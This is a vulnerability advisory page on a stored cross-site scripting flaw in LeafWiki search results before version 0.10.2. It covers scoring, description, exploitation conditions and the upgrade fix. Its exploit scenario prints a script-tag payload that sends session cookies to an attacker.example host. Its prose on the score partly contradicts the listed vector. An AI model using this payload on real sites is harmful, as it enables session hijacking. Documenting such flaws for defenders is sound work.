EUVD-2026-64178Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Editor privileges required to plant payload (PR:L); victim must actively search (UI:R); payload executes in victim's browser scope, causing scope change (S:C) with limited confidentiality and integrity impact.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
2DescriptionCVE.org
LeafWiki is a self-hosted wiki. Prior to version 0.10.2, page titles returned by the search API could be rendered as raw HTML in the frontend. A user with editor or administrator permissions could create or modify a page title containing an HTML/JavaScript payload. When another user searched for a matching term, the payload could execute in the victim’s browser. The impact depends on deployment configuration. With --public-access enabled, unauthenticated visitors could be affected. In authenticated-only deployments, the issue could be used for cross-user XSS against logged-in users who can access search results. The issue has been fixed in version 0.10.2 by ensuring that author-controlled page titles in search results are not interpreted as raw HTML by the browser while preserving search result highlighting.
AnalysisAI
Stored cross-site scripting in LeafWiki's search API allows an authenticated editor or administrator to plant a JavaScript payload in a page title, which executes in any victim's browser when they view search results containing that title. No public exploit identified at time of analysis. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | The attacker must hold editor or administrator permissions on the target LeafWiki instance in order to create or modify a page title containing the malicious payload - this is the primary gating condition. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 4.0 score of 4.8 (Medium) is well-calibrated for this vulnerability. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker who has obtained editor credentials (e.g., via credential stuffing, a compromised account, or insider access) creates or edits a LeafWiki page with a title such as `Welcome<script>document.location='https://attacker.example/steal?c='+document.cookie</script>`. When a victim user (or unauthenticated visitor if `--public-access` is on) searches for any term that matches that page title, the search results page renders the payload, triggering session cookie exfiltration. … |
| Remediation | Upgrade LeafWiki to version 0.10.2, which resolves the issue by HTML-encoding author-controlled page titles in search result output. … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
Path traversal in LeafWiki's asset rename endpoint allows authenticated editors to relocate any file readable by the ser
Privilege escalation in LeafWiki versions 0.1.0 through 0.10.0 allows any authenticated user to elevate their own accoun
Uncontrolled ZIP extraction in LeafWiki 0.10.0 through 0.12.0 allows any authenticated Editor or Admin to exhaust server
Same weakness CWE-79 – Cross-site Scripting (XSS)
View allShare
External POC / Exploit Code
Leaving vuln.today